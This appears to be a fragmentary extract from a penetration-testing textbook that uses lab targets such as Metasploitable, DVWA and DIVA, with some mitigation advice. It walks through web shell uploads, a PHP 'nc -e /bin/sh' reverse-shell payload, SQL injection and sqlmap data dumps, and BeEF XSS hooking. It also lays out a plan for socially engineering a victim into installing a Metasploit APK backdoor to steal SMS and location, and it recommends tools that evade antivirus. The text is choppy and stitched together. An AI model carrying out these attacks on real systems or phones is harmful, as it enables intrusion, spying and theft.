your computer. This can include blocking your data or impairing your
computer’s performance.
Remote Access Trojan: This Trojan can give an attacker full control over
your computer via a remote network connection. Its uses include stealing
your information or spying on you.
Rootkit Trojan: A rootkit aims to hide or obscure an object on your infected
computer. The idea is to extend the time a malicious program runs on your
device.
SMS Trojan: This type of Trojan infects your mobile device and can send
and intercept text messages. Texts to premium-rate numbers can drive up
your phone costs.
Trojan banker: This Trojan takes aim at your financial accounts. It’s
designed to steal your account information for all the things you do online.
That includes banking, credit card, and bill pay data.
Trojan IM: This Trojan target instant messaging. It steals your logins and
passwords on IM platforms.
That is just a sample. There are a lot more.
10.3. Protect against Trojans
Use up to date Anti-Virus/Anti-malware software.
Protect with complex unique password.
Be careful with email attachments. To help stay safe, scan an
email attachment first.
Do not visit unsafe websites. Some internet security software
will alert you that you are about to visit an unsafe site.
Do not open a link in an email unless you are confident it
comes from a legitimate source. In general, avoid opening
unsolicited emails from senders you do not know.
Do not click on pop-up windows that promise free programs
that perform useful tasks.
Do not ever open a link in an email unless you know exactly
what it is.
If you are suspecting a file that carry Trojan, right click the file, and see
property. If the file looks like jpg or PDF and carry a Trojan the property will
show it is executable (.exe), also if you try to run the file, Windows 10 will
give you a warning that the file is executable if choose to “run anyway “the
backdoor will be installed in your machine.
If you open resource monitor in Windows 10, you can see all the processes
that uses the internet and which port it is using.
11
Gaining Access in Real Networks
The Metasploit is the program which make Kali machine listen to the
incoming connection, this should be set with the internal IP address of
the Kali machine not the Public IP address as the forwarding from
public to internal will be done in the router
Now we need to set the router to forward any connection coming in port
8080 to the Kali Machine internal IP address.
Add port 8080 and point to the Kali machine IP address and save
12
Website Penetration Testing
The first step of website penetration testing is data gathering about the
website and its IP address, domain registration information, website software
and many other information. There are many resources that can give this
information online and other tools that can reveal the website info and the
subdomains.
12.2. Website Information Gathering
Whois Lookup: http://whois.domaintools.com/
W3dt.net (free information gathering online tools)
https://pentest-tools.com/home (paid web site for info gathering
tools)
S_E_Oblako
The Data that you need to collect about website to start penetration
testing is:
IP address
Domain Name info
Technologies used
Other websites on the same server
DNS records
Unlisted files, sub-domains, directories
2. Find where the file download and running the python script
3. The file will take some time running as it try all possible
subdomains then it gives you the results
the website, you are accessing a file inside a directory for example when you
access page http://10.0.2.5/multillidae/ , in fact you are accessing a folder
called mutillidae inside the website 10.0.2.5 then access a file inside that
folder that give you the page you are browsing
Exercise 47: Finding Files and Directories
1. Open Metasploitable VM from Virtual Box.
2. Login as msfadmin/msfadmin
3. Make sure folder mutillidae exist
- The robots.txt file inform google and other search engine not to list the
files that it in the list above.
- If we check the passwords file in the web browser:
Admin / password
4. Click on upload
S_E_Oblako
5. The web site allow us to upload files using the upload button ( in
real life scenarios websites such as classified websites allow you to
upload images and other files)
6. The website is expecting us to upload an image, first we will upload
an image as the site expecting, then will upload a PHP file.
7. Uploading image file to the website: Browse to the Image and select
it then click upload
S_E_Oblako
8. As you can see the picture was uploaded to the link shown
../../hackable/uploads/index.jpg
9. To see the picture uploaded, in Kali Browser, insert the picture link
as shown in below screenshot
S_E_Oblako
10. We are going to use Weevely tool to create a payload in a php file
and upload it to the website
11. To create php shell file go to Kali terminal and type the following
commands:
15. Use Kali to connect to the file shell.php which we uploaded to the
site
16. From Weevely> we can run any Linux command in the target
machine
17. To see what other options that Weevely can do just type help
S_E_Oblako
6. Open the webpage to command execution and inter in the Ping field
the following
Notes
users accessing the vulnerable machine using code execution does
not have a root permission and it is limited to the allowed tasks and
commands that a web user can do.
S_E_Oblako
You choose the language based on the website, for example if the
website uses PHP, choose PHP instruction below to make the
reverse connection
The IP address of the attack server and the port used, should be
included on the instruction
Kali reverse connection listener should be setup using
In
the web page address bar and after the word page= inter any name to reveal
the path
3. This give us an error as shown above, from the error we can see the
location of the file which is
/var/www/dvwa/vulnerabilities/fi/include.php
4. The current location at the operating system is under
S_E_Oblako
/var/www/vulnerabilities/fi/
5. if we want to read another file in other directory for example we
need to read /etc/passwd file which contain all users of this machine
we have to go back 5 locations as follow:
and path to a file that the website will execute, this will allow us open a
backdoor in the website itself. To do this there is parameter in the PHP
configuration file (Allow URL fopen) if this set to On then remote file
inclusion can be done.
<?php
Passthru(“nc -e /bin/sh kali Ip address port”);
?>
10. See the kali terminal to make sure the connection established
11. Enter commands
12. uname -a
13. pwd
14. ls
S_E_Oblako
Sanitize user input; not easy due to the big number of possible
bypasses of restrictions.
Do not let users decide the extension or content of files on the web
server and use safe practices for secure file uploads.
Do not Pass any user-controlled input inside evaluation functions or
callbacks.
Try to blacklist special characters or function names. Exactly as
sanitizing this is almost impossible to safely implement.
File Inclusion:
The file inclusion should be disabled in the php.ini file for both features
allow_url_fopen = off
allow_url_include = off
The other way to prevent file inclusion is to use static page inclusion not
dynamic page inclusion in the php web design.
Web Application Firewall (WAF)
A WAF or Web Application Firewall helps protect web applications by
filtering and monitoring HTTP traffic between a web application and the
Internet. It typically protects web applications from attacks such as cross-site
forgery, cross-site-scripting (XSS), file inclusion, and SQL injection, among
others. A WAF is a protocol layer 7 defense (in the OSI model) and is not
designed to defend against all types of attacks. This method of attack
mitigation is usually part of a suite of tools which together create a holistic
defense against a range of attack vectors.
S_E_Oblako
13
SQL Injection
5. Exploring databases
7. The DBA designs the databases and create the tables. The web
application inserts the data inside the table based on end user
interaction.
5. Type Control +c
6. Type:
2. Click on Mutillidae
S_E_Oblako
6. Logout
7. Login again as follow:
8. Logon will fail but the system will through SQL error
Error Analysis
9. It is a database error that contain the location of the file and the
database statement that failed (Select * FROM accounts WHERE
username=’test’ AND password=’’’
10. Which mean the database is vulnerable to SQL injection.
3. If the page login without error that’s mean the page accepted the
injected code 1=1
6. Even though we give the right username and password, the page
gave us error because the added SQL statement AND is followed by
1=2 which is not true.
7. This confirms the website is actually injecting anything in the
Password field, which mean that we can use the password field to
inject complete SQL statement and the website will execute it, if it
is in the right SQL format.
6. The first part is Not True because the Admin password we entered
is not right, because we used OR statement and the second part is
True (1=1) the system allow us to continue to the Admin page.
7. The statement that the webpage tries to run for username and
password is as following
4. A1 Injection
5. SQLi - Extract Data
6. User Info
13. Copy the modified URL to the URL field and hit Enter
14. You will login to the page normally and have the results as
S_E_Oblako
expected
15. If you replace order by 1 to order by 10 you going to see an error
from the database because the is no column number 10.
17. Order by 6 is still giving error, which means the Database number
of Columns is below 6
18. Keep trying until the error goes away
19. So now we know the Database number of columns 5 we are going
to insert new SQL code to list all the Columns
20. Insert ‘union select 1,2,3,4,5 (union select is a SQL command that
will allow us to to have more than one select in the same command.
The command will list for us the columns as seen below column 2
is called user name , column 3 is password , column 4 is signature
S_E_Oblako
23. See the database name is owasp10 and the database user is root,
S_E_Oblako
25. By executing these commands we got all the tables in all databases
26. If we want to look at the tables of specific database such as
owasp10
27. Insert the following statement
28. If we need to read data from a table, we must know the columns
names first.
29. The following injection will show the columns names
S_E_Oblako
2. As you can see from above screenshot, I got the output of file
/etc/passwd
servers. It comes with a powerful detection engine, many niche features for
the ultimate penetration tester and a broad range of switches lasting from
database fingerprinting, over data fetching from the database, to accessing the
underlying file system and executing commands on the operating system via
out-of-band connections.
In all the previous examples we were injecting using manual methods to
discover and inject SQL, in the following example we will use sqlmap tool
which automate the discovery and penetration of SQL injection.
Sqlmap is a tool that come part of Kali Linux and it is designed to exploit
SQL injections, the tool works with many database types such as
mysql,MSsql,..etc.
Exercise 59: Using Sqlmap tool
1. Open Kali browser and go to Metasplitable virtual machine web
page http://10.0.2.5/Mutillidae
4. The tool found the database type as MySQL , PHP version and
Apach2 version
5. Sqlmap tool figured out that system is Linux Ubuntu 8.4 and the
database is MySQL 5.0.12 and it stored the information it found in
a test file.
6. Type
Note
sqlmap is slow when retrieving information from database
files, depending on the size of the database it may take
more than 15 minutes to finish.
S_E_Oblako
S_E_Oblako
11. To get dump of all data from table account in owasp10 database
/root/.sqlmap/output/10.0.2.6/dump/
S_E_Oblako
# cd /home/kali
#ls -al
S_E_Oblako
S_E_Oblako
Some programmers block some SQL commands like union and other to
stop SQL injection but again this method is not secure and can be
bypassed.
The designer of web applications should not only avoid using the same
owner/admin account in the web applications to connect to the database.
Different DB users could be used for different web applications. In
general, each separate web application that requires access to the
database could have a designated database user account that the web-
app will use to connect to the DB. That way, the designer of the
S_E_Oblako
Web Application Firewall (WAF) that inspect the HTTP traffic coming
or going out the web site and can prevent attacks stemming from web
application security flaws, such as SQL injection, Cross-site scripting
(XSS), file inclusion and other security flaws. WAF can be network
bases or cloud based.
S_E_Oblako
14
Cross Site Scripting (XSS)
Persistent/stored XSS
The Java script will be stored in the web page so that any time a user
browse the page the code will be executed in his machine.
Reflected XSS
Attacker create a URL and send it to a user, the code will be executed
when the user clicks on the URL.
The Dom based is the Java script is run in the Client side without any
communication with the webserver, the code is interpreted and run in
the web browser.
14.1. Discovering XSS vulnerabilities
The easiest way to discover that the website has XSS vulnerability is to look
for forms or other user input points that end up re displaying or reusing the
user data on the site. For example, if there is a box where you can enter your
name and your name is then displayed on the next webpage, then entering a
script may cause the script to run on the following page because the script
gets interpreted as part of the html instead of a string value. This will only
work if user input to the site is not html encoded (as it should be) on the site,
or if you can come up with some obfuscated script that will run despite html
encoding. There are also many tools that scan websites for XSS vulnerability
such as OWASP ZAP tool.
To find XSS vulnerability in any website.
S_E_Oblako
find all the input fields like search, comment box, username,
password, feedback form, contact form.
One by one try to inject a simple script like this <script>alert(“hello
Anonymous”)</script>. Try this simple script on every text field
and analyze the response. if script is run successful and show the
alert box ,than website have the XSS vulnerability .
7. In the Text box where the site asks, “what’s your name?” enter the
following basic java script:
<script>alert(“XSS TEST”)</script>
and click submit
S_E_Oblako
S_E_Oblako
9. Now if you send this URL to anyone, they will get the code
executed and the get the Alert box.
Note
This exresie require three virtual machines opened at the same time (
Metasplitable, Windows 10 and Kali Linux) if the Laptop used is less than 8
G RAM, the laptop performance will be impacted and it will be very slow.
S_E_Oblako
4. Now go back to Kali machine and enter java code in the message
body as in the following screenshot
S_E_Oblako
#cd /opt/beef
#./beef
http://127.0.0.1:3000/ui/panel
S_E_Oblako
3. Login as beef/beef
Note
If you forget Beef username and password check the file
/opt/beef/config.yaml
5. Insert the hook in the message body, then change the IP address to
Kali IP address. you will need to extend the max. characters of the
message body, inside the browser to 500 by:
In Kali machine Firefox that showing the DVWA webpage
Right click and then click on inspect element
Change maxlength to 500
S_E_Oblako
6. Add the hook URL in a java script to the message body then click
Sign Guestbook
10. The windows machine will be hooked because the stored hook
in the webpage connect windows machine to the beef command
center page.
S_E_Oblako
injection, but instead helps to reduce the effects should an attacker discover
such a vulnerability.
Sanitizing
A third way to prevent cross-site scripting attacks is to sanitize user input.
Sanitizing data is a strong defense but should not be used alone to battle XSS
attacks. It is totally possible you’ll find the need to use all three methods of
prevention in working towards a more secure application. Sanitizing user
input is especially helpful on sites that allow HTML markup, to ensure data
received can do no harm to users as well as your database by scrubbing the
data clean of potentially harmful markup, changing unacceptable user input
to an acceptable format.
WAF
we explained in in previous chapters WAF can protect against XSS attacks.
S_E_Oblako
15
OWASP ZAP
Web Pen-Testing tool
The OWASP Zed Attack Proxy (ZAP) is one of the world’s most
popular free security tools and is actively maintained by hundreds
of international volunteers. The OWASP ZAP tool automate the
Website penetration testing and it is used by most Penetration
Testers.
S_E_Oblako
3. Click Start , then Tools / options, will allow you to modify the
options
S_E_Oblako
and what information the tool was successful to get from the
website, for example in the below screen shot, the tool was able to
read /ect/passwd file
S_E_Oblako
16
Mobile Phone Penetration Testing
In this section we will take brief look at the major threats which are
present in current mobile devices with a focus on IOs and Android
as these two accounts for 90% of the global mobile device market.
This section will include the following topics:
• Mobile Phone attack victors.
• App stores
• Introduction to Android OS
• Introduction to Apple iOS
• Practical exercises about how to hack android devices
S_E_Oblako
.
With the world growing ever dependent on mobile services such as online
banking, social media, ecommerce and more, the amount of sensitive data
being transmitted is truly staggering. This mobile revolution has resulted in
mobile security becoming the new front line of cyber security.
The concept of mobile security revolves around identifying the vulnerabilities
within mobile devices, the possible ways these vulnerabilities can be
exploited and how to protect against cybercriminals who may try to use these
exploits.
In this section we will take brief look at the major threats which are present in
current mobile devices with a focus on IOs and Android as these two
accounts for 90% of the global mobile device market.
This section will include the following topics:
Device Infection
Device infection with spyware is performed differently for Android and iOS
devices.
Backdoor Installation
To install a backdoor requires administrator privileges by rooting Android
devices and jailbreaking Apple devices. Despite device manufacturers
placing rooting/jailbreaking detection mechanisms, mobile spyware can
easily bypass them.
motivated.
Data Exfiltration
Spyware sends mobile content such as encrypted emails and messages to the
attacker servers in plain text. The spyware does not directly attack the secure
container. It grabs the data at the point where the user pulls up data from the
secure container to read it. At that stage, when the content is decrypted for the
user’s usage, the spyware takes controls of the content and sends it on.
installed mobile operating system, after Android. It is the basis for three other
operating systems made by Apple: iPadOS, tvOS, and watchOS. It is
proprietary software, although some parts of it are open source under the
Apple Public Source License and other licenses.
Unveiled in 2007 for the first-generation iPhone, iOS has since been
extended to support other Apple devices such as the iPod Touch (September
2007) and the iPad (January 2010). As of March 2018, Apple's App Store
contains more than 2.1 million iOS applications.
Major versions of iOS are released annually. The current stable version, iOS
14, was released to the public on September 16, 2020.It brought many user
interface changes, including the ability to place widgets on the home screen, a
compact UI for both Siri and phone calls, and the ability to change both the
default web browser and email apps.
S_E_Oblako
Applications
iOS devices come with preinstalled Apple apps including Email, Apple
Maps, TV, FaceTime, Podcast, Wallet, Health, and many more.
Applications ("apps") are the most general form of application software that
can be installed on iOS. They are downloaded from the official catalog of the
App Store digital store, where apps are subjected to security checks before
being made available to users. IOS applications can also be installed directly
from an IPA file provided by the software distributor, via unofficial ways.
S_E_Oblako
They are written using iOS Software Development Kit (SDK) and, often,
combined with Xcode, using officially supported programming languages,
including Swift and Objective-C. Other companies have also created tools
that allow for the development of native iOS apps using their respective
programming languages.
The SDK includes an inclusive set of development tools, including an audio
mixer and an iPhone simulator. It is a free download for Mac users. It is not
available for Microsoft Windows PCs. To test the application, get technical
support, and distribute applications through App Store, developers are
required to subscribe to the Apple Developer Program.
IPA files
IPA files are similar to android APK files, executable files that can run
application in iPhone from outside the app store and there are many ways to
install the files into the iPhone such as through a PC using program called
Cydia Impactor or over the air using a website. iOS using sandbox method to
isolate apps so if the iPhone is not jailbroken the application will be
extremely limited.
Jailbreaking iOS
Jailbreaking is taking control of the iOS operating system that is used on
Apple devices, in simple words it is the same as Rooting Android devices. It
removes the device from the dependencies on exclusive Apple source
applications and allows the user to use third-party apps unavailable at the
official app store.
It is accomplished by installing a modified set of kernel patches that allows
you to run third-party applications not signed by the OS vendor. It is used to
add more functionality to standard Apple gadgets. It can also provide root
access to the operating system and permits download of third-party
applications, themes, extensions, etc. This removes sandbox restrictions,
which enables malicious apps to access restricted mobile resources and
information.
Jailbreaking, like rooting, also has some security risks to your device:
Apple Find my phone app used to track the iPhone location, play
sound, and erase data.
4- Insecure Authentication
Threat agents that exploit authentication vulnerabilities typically do so
through automated attacks that use available or custom-built tools.
5- Insufficient cryptography
Threat agents include the following: anyone with physical access to data that
has been encrypted improperly, or mobile malware acting on an adversary’s
behalf.
6- Insecure Authorization
Threat agents that exploit authorization vulnerabilities typically do so through
automated attacks that use available or custom-built tools
7- Poor Code Quality
Threat Agents include entities that can pass untrusted inputs to method calls
made within mobile code. These types of issues are not necessarily security
issues in and of themselves but lead to security vulnerabilities. For example,
buffer overflows within older versions of Safari (a poor code quality
vulnerability) led to high risk drive-by Jailbreak attacks. Poor code-quality
issues are typically exploited via malware or phishing scams.
8- Code Tampering
Typically, an attacker will exploit code modification via malicious forms of
the apps hosted in third-party app stores. The attacker may also trick the user
into installing the app via phishing attacks.
9- Reverse Engineering
An attacker will typically download the targeted app from an app store and
analyze it within their own local environment using a suite of different tools.
10- Extraneous Functionality
Typically, an attacker seeks to understand extraneous functionality within a
mobile app to discover hidden functionality in in backend systems. The
attacker will typically exploit extraneous functionality directly from their
own systems without any involvement by end-users.
S_E_Oblako
Note
For this exercise we are going to use Windows machine because the Android
Phone emulator comes with its own virtual environment and if it installed
inside virtual machine it will not work, because virtual machines need
hardware acceleration. You cannot run a virtual machine inside a virtual
machine. Kali Machine that we were using in the previous exercises is a
virtual machine and we cannot use for the Android Testing. If you have Kali
as the main OS, then you can use the above-mentioned tools with Kali.
Android Studio is the official Integrated Development
Environment (IDE) for Android app development, based on IntelliJ
IDEA. On top of IntelliJ's powerful code editor and developer tools,
Android Studio offers even more features that enhance your
productivity when building Android apps, such as:
4- Start Android Studio and start new project for the first time.
5- In Android Studio open AVD Manager.
6- Choose Pixel or you can create new Virtual Device by clicking on the +
sign
7- Start the virtual device
11. Note that I get root access privilege because the emulator is rooted.
S_E_Oblako
12. Type #top to see all the running processes in the virtual android
device.
>./adb shell
#cd sdcrad
#cd DCIM
cd screenshots
#pwd
2. From PC Pwershell start ./adb shell to have a shell access from the
Virtual phone
3. Make sure that you have root access #whoami
4. If you don’t have root access type #exit
5. Type ./adb root to have root access then ./adb shell to go back to
the device shell
12. Reading the xml file show the username and password used by the
application to access application resources.
13. We can use these credentials to access the account from another
device and see and change the information related to that user.
S_E_Oblako
2. Start adb
S_E_Oblako
8. The logcat shows SQL query that run by the application to search
for the user “ ‘ “ a select query to find a user “ ‘ “
9. Start the dba logging again >./dba logcat
10. In the virtual phone DIVA app search enter ‘or 1=1; and click
search
S_E_Oblako
11. The app will show a pop screen that shoes users name and
passwords plus credit card number of all users.
3. type #ls
12. As you can see the content of the sqli user table is all the
application users and their password and credit card numbers.
1. Create APK file using Metasploit inside the cloud server (Kali
Linux or Ubuntu Server – I am using Google Cloud, so it was much
easier for me to install Ubuntu Server)
2. Put the APK file inside a web server (the same Cloud server).
3. Convince the victim through social Engineering or other means to
download the APK file in his phone and enable the feature of
running APK from external resource)
4. Listen to connection from the phone using Metasploit in the Cloud
server.
5. Controlling the phone, getting phone location, images, videos, and
messages
6. Depending on the Could provider you use start the Cloud server.
(Installing and running of a cloud server is outside the scope of this
book, however it is very easy and there are a lot of help resources
provided by service providers and others in the internet)
7. I am using Google cloud console.
8. Note that the server has internal IP address when it is not running
but when it is started, it will take external IP address that we are
going to use in the APK file.
9. If you want a permanent external IP address, then you must pay 3
to 4 dollars a month for the external IP address.
10. You will need to have SSH and RDP software installed in your
S_E_Oblako
15. If you are running Ubuntu, you will need to install Metasploit
console
23. From the Android phone open Web browser and enter the external
IP address of your cloud server
24. Follow the instructions to download and install the APK file into
the phone ( see screenshot below
25. You need to have install apk from external sources enabled in your
S_E_Oblako
android phone
S_E_Oblako
26. When Apk file installation is done successfully you will have a
meterpreter session on the server (see below screenshot)
S_E_Oblako
You can take the latitude and longitude numbers and input them in Google
Maps to see the phone location on the map
32. To dump all sms from the phone to the server, type >dump_sms
S_E_Oblako
S_E_Oblako
S_E_Oblako
Note
The APK file generated by msfvenom is not a reliable APK file and
sometimes it does not work, and android antimalware program can detect it
very easily and stop it from working. There are many available tools in
Github that generate more efficient and evasive APK files that can pass
android antimalware programs.
The most popular APK generating tools is Evil-Droid
(https://github.com/M4sc3r4n0/Evil-Droid).
Evil-Droid can also inject another APK file with backdoor APK file. Yu can
download any well-known APK file for a game or app from third party APK
stores and then use Evil-Droid to inject backdoor APK file. Anyone runs the
injected APK file will connect back to the attacker server. The process of
injecting the backdoor is done automatically in a step by step GUI that guide
through the whole process.
S_E_Oblako
1. Kali 2020.1 running Kernal 5.4 have a major problem with many
USB Wi-Fi adapters that used to run with prior Kali Versions ( Kali
19.4 and down)
2. Check the version of usb Wi-Fi adapter you have with command
#lausb
6. Install DKMS
#cd rtl8812au
#./dkms-install.sh
#dkms status
leadership, professional
development, and over 40 foreign
languages.
A non-profit working with
the Department of Homeland
Security, private sector sponsors,
National Cyber and nonprofit collaborators to
NCSA
Security Alliance promote cyber security awareness
for home users, small and medium
size businesses, and primary and
secondary education.
NCSAM is a collaborative effort
between government and industry
to raise awareness about the
importance of cybersecurity and to
ensure that all Americans have the
resources they need to be safer and
National Cyber
more secure online. It occurs each
NCSAM Security Awareness
year in October. The security
Month
awareness month started with a
joint effort by the National Cyber
Security Division within the
Department of Homeland Security
and the nonprofit National Cyber
Security Alliance.
A division of the Office of Cyber
Security & Communications with
the mission of collaborating with
the private sector, government,
military, and intelligence
National Cyber stakeholders to conduct risk
NCSD Security Division assessments and mitigate
vulnerabilities and threats to
information technology assets and
activities affecting the operation of
the civilian government and private
sector critical cyber infrastructures.
S_E_Oblako